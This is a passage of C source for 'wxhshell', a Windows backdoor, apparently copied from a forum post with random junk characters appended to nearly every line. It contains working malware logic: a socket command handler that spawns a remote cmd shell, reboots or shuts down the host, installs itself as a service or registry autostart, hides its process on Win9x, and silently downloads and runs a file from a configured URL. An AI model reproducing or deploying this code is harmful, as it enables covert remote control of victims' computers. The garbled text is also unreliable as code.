    switch(cmd[0]) { eP-R""uPw  
  &z{dr ~  
  // 帮助 b7F3]W<`&  
  case '?': { -;W\f<q]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ][T9IAn  
    break; )j)y5_m  
  } ru(?a~lF8~  
  // 安装 ?(|TP^  
  case 'i': { $Sc08ro  
    if(Install()) U>3%!83kF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cv?<}q  
    else Huug_E+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {!:|.!-u  
    break; +w_MSj#P  
    } "OlI-^y  
  // 卸载 A1=$kzw{UH  
  case 'r': { wUZ(Tin  
    if(Uninstall()) &})4?5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ||"":K  
    else ^| a&%wxA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sbq44L)  
    break; KY(l<pm  
    } `,8R~-GPD  
  // 显示 wxhshell 所在路径 7kWZMi  
  case 'p': { #7cf 8y  
    char svExeFile[MAX_PATH]; cE_Xo.:Y,  
    strcpy(svExeFile,"\n\r"); xYzcV%-Pm  
      strcat(svExeFile,ExeFile); tZc.%TU  
        send(wsh,svExeFile,strlen(svExeFile),0); =."WvBKg  
    break; ^0 ,&R\e+  
    } `)gkkZ$)j  
  // 重启 f@x( ,p  
  case 'b': { >x_:=%Wr+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #/ gme  
    if(Boot(REBOOT)) MIMPJXT#.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F6neG~Y  
    else { O}\"$n>  
    closesocket(wsh); BR0p0%  
    ExitThread(0); ?6l,   
    } bQ:3G;  
    break;   _c7  
    } [7 Kj$PB3  
  // 关机 '=G<)z@k  
  case 'd': { 3\U,Kg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Aaw:B?4)  
    if(Boot(SHUTDOWN)) Q/9vDv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vng8{Mx90*  
    else { uhN(`E@  
    closesocket(wsh); Sr#fyr  
    ExitThread(0); 4@V<Suw  
    } URzE+8m^  
    break; PTV`=vtj  
    } Zv7$epDUz  
  // 获取shell 0_xcrM  
  case 's': { cE8 _keR~  
    CmdShell(wsh); 7!QXh;u  
    closesocket(wsh); :Tl6:=B  
    ExitThread(0); /n3&e  
    break; 2W-NCE%K)T  
  } gS o(PW)  
  // 退出 0Ukl#6  
  case 'x': { ST [1'T+L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k~EPVJh"  
    CloseIt(wsh); `\FjO"  
    break; 1Qe!  
    } !iz vY  
  // 离开 lL+^n~g  
  case 'q': { ny? m&;^r:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o%JIJ7M  
    closesocket(wsh); DO,&Foh\  
    WSACleanup(); qA\kx#v]P  
    exit(1); 5qB=@O]|G;  
    break; WatLAn+  
        } %_=R&m'n`  
  } 1kw4'#J8  
  } . t%Vx  
N'BctKL  
  // 提示信息 ~acK$.#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DWxh{h">  
} : )*Ge3  
  } scEQDV  
Y_YIJ@  
  return; YqCK#zT/  
} 6 &Aa b56  
]TprPU39  
// shell模块句柄 ,ST.pu8N.  
int CmdShell(SOCKET sock) 05LQh  
{ O!+5As  
STARTUPINFO si; fhWD>;%F%  
ZeroMemory(&si,sizeof(si)); 0BD((oNg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mnaD KeA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _%%"Y}  
PROCESS_INFORMATION ProcessInfo; yC*BOJS  
char cmdline[]="cmd"; y%l#lz=6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !#s7 F  
  return 0; p+D 6Z'B  
} 8J U~Q  
ZTC1t_  
// 自身启动模式 GlD'?Mk1  
int StartFromService(void) ?^ 5*[H  
{ {S(T1ua  
typedef struct R*C+Yk)Tkt  
{ 9?,.zc^  
  DWORD ExitStatus; .g?,:$`0D?  
  DWORD PebBaseAddress; *uM*)6O 3  
  DWORD AffinityMask; !jnIXvT1qy  
  DWORD BasePriority; <t@*[Aw  
  ULONG UniqueProcessId; $zi\ /Yw  
  ULONG InheritedFromUniqueProcessId; QLg9aG|  
}   PROCESS_BASIC_INFORMATION; Khd,|pM  
0Ch._~Q+20  
PROCNTQSIP NtQueryInformationProcess; Yk&{VXU<  
:[0 3upyS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |%;txD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4 Z)]Cq*3  
- Sgp,"a  
  HANDLE             hProcess; VbR.tz  
  PROCESS_BASIC_INFORMATION pbi; X#<Sv>c^  
]zY'w,?D\F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k@U`?7X  
  if(NULL == hInst ) return 0; )zV5KC{{  
RL9BB.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zSCPp6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hZJqo +s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x0GZ2*vfsb  
E1_4\ S*z  
  if (!NtQueryInformationProcess) return 0; MEUqQ4/Gl  
o#6}?g.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &N;6G`3  
  if(!hProcess) return 0;  Z.JTq~`I  
>YhqL62!a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,cEcMaJ  
$0t %}DE  
  CloseHandle(hProcess); hBu =40K  
9Z 4R!Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c qp#1oM4M  
if(hProcess==NULL) return 0; V.1sZYA9  
hNy S  
HMODULE hMod; k#n=mm'N9  
char procName[255]; _3S{n=9  
unsigned long cbNeeded; IIZsN*^  
Y~xZ{am  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xv:IbM> Qc  
Tp13V.|  
  CloseHandle(hProcess); 9A!qg<  
OLwxGRYX  
if(strstr(procName,"services")) return 1; // 以服务启动 Jhc S  
T\>=o]  
  return 0; // 注册表启动 ND>}t#^$  
} (Q+3aEUE  
VUb*,/hxa  
// 主模块 lTXU  
int StartWxhshell(LPSTR lpCmdLine) rGWTpN  
{ 8h97~$7)  
  SOCKET wsl; ,R+u%bmn#  
BOOL val=TRUE; A-FwNo2"%  
  int port=0; ?x97 q3I+]  
  struct sockaddr_in door; 9D,& )6  
4SYN$?.Mp  
  if(wscfg.ws_autoins) Install(); \bfHGo=  
6X7_QBC)  
port=atoi(lpCmdLine); YaU A}0cW  
G. }yNjL8  
if(port<=0) port=wscfg.ws_port; c z|IBsa*  
'<Gqu_-  
  WSADATA data; xcig'4L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )zN )7  
? &O$ayG77  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >@"j9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w9%gaK;  
  door.sin_family = AF_INET; mI# BQE`p6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Yj}9[p;T  
  door.sin_port = htons(port); N+\*:$>zt6  
( nh!tC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <Yc:,CU  
closesocket(wsl); >BX_Bou  
return 1; -AX3Rnv^!  
} #lO;G k{  
}5k"aCno  
  if(listen(wsl,2) == INVALID_SOCKET) { m{*l6`dF  
closesocket(wsl); Hpt)(Nz:  
return 1; jnTl%aQYc  
} H2]I__t/u  
  Wxhshell(wsl); =T$E lXwJ  
  WSACleanup(); (; "ICk&  
sR6 (8  
return 0; !o@-kl  
^6*? a9jO>  
} Ol? 2Qy.2)  
Z9U*SS5s,  
// 以NT服务方式启动 g=pDC+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z,9qAts?mh  
{ =9c24j  
DWORD   status = 0; -4Xr5j%o  
  DWORD   specificError = 0xfffffff; \; 3r  
c:0$ M w=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^T5c^ M8o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `# R$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vl#/8]0!  
  serviceStatus.dwWin32ExitCode     = 0; 3EyN"Lvp{o  
  serviceStatus.dwServiceSpecificExitCode = 0; oI>;O#  
  serviceStatus.dwCheckPoint       = 0; &^<94l  
  serviceStatus.dwWaitHint       = 0; -b{*8(d<I  
T.pPQH__  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DirWe  
  if (hServiceStatusHandle==0) return; %S^`/Snv"  
1)r1/0  
status = GetLastError(); Pwq} ;+  
  if (status!=NO_ERROR) GB+G1w  
{ +LUL-d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xm*Dh#H  
    serviceStatus.dwCheckPoint       = 0; 5 `+*({  
    serviceStatus.dwWaitHint       = 0;  u(BYRB  
    serviceStatus.dwWin32ExitCode     = status; 1t)6wk N  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;7hf'k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MT9a1 >  
    return; iz'8P-]K>  
  }  *) wp  
A$5T3j'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rl,B !SF  
  serviceStatus.dwCheckPoint       = 0; D\k);BU~  
  serviceStatus.dwWaitHint       = 0; &pCKz[Yf+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }{lOsZA  
} snyx$Qx(  
lyib+Sa ?`  
// 处理NT服务事件,比如:启动、停止 ht1 jrCe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |m=@;B|  
{ x[vX|oE!A  
switch(fdwControl) V{"5)Ly?fu  
{ mV;7SBoT  
case SERVICE_CONTROL_STOP: _|*j8v3  
  serviceStatus.dwWin32ExitCode = 0; 97 1qr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @<};Bo'  
  serviceStatus.dwCheckPoint   = 0; H fRxgA@  
  serviceStatus.dwWaitHint     = 0; 2/;KZ+U&  
  { Kkd7D_bZ*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -<|E bh d3  
  } t'z] <7  
  return; i P/I% D  
case SERVICE_CONTROL_PAUSE: _gc2h@x1O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >6aCBS?2  
  break; <cl$?].RE!  
case SERVICE_CONTROL_CONTINUE: sx/g5 ?zh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g]3-:&F{c  
  break; bT8BJY%+  
case SERVICE_CONTROL_INTERROGATE: cd:O@)i  
  break; QZDGk4GG  
}; sT/pA^rnnR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i G<|3I  
} ncWASw`  
nrZv>r  
// 标准应用程序主函数 au GN~"n^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =P5SFMPN  
{ BG'gk#J+f  
#Uudx~b  
// 获取操作系统版本 8x+K4B"oe  
OsIsNt=GetOsVer(); |o+vpy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .d.7D ]Yn  
 R z[-  
  // 从命令行安装 U_14CLs dG  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,x_g|J _Y  
0m?ul%=  
  // 下载执行文件 z`TI<B  
if(wscfg.ws_downexe) { \0b ",|"3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $i =-A  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^P]: etld9  
} ,,@_r&f:  
X-t4irZ)  
if(!OsIsNt) { hzPpw.  
// 如果时win9x,隐藏进程并且设置为注册表启动 .%*.nq  
HideProc(); >;HXH^q  
StartWxhshell(lpCmdLine); 4h(aTbHaQ  
} J H$  
else #ReW#?P%b/  
  if(StartFromService()) >+8mq]8^  
  // 以服务方式启动 NeNKOW#X  
  StartServiceCtrlDispatcher(DispatchTable); y_J{+  
else 2Y$==j  
  // 普通方式启动 KnbP@!+c  
  StartWxhshell(lpCmdLine); U~7.aZHPx3  
-"(e*&TJ#  
return 0; y*zZ }>  
}
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只看该作者 1 发表于: 2006-10-10
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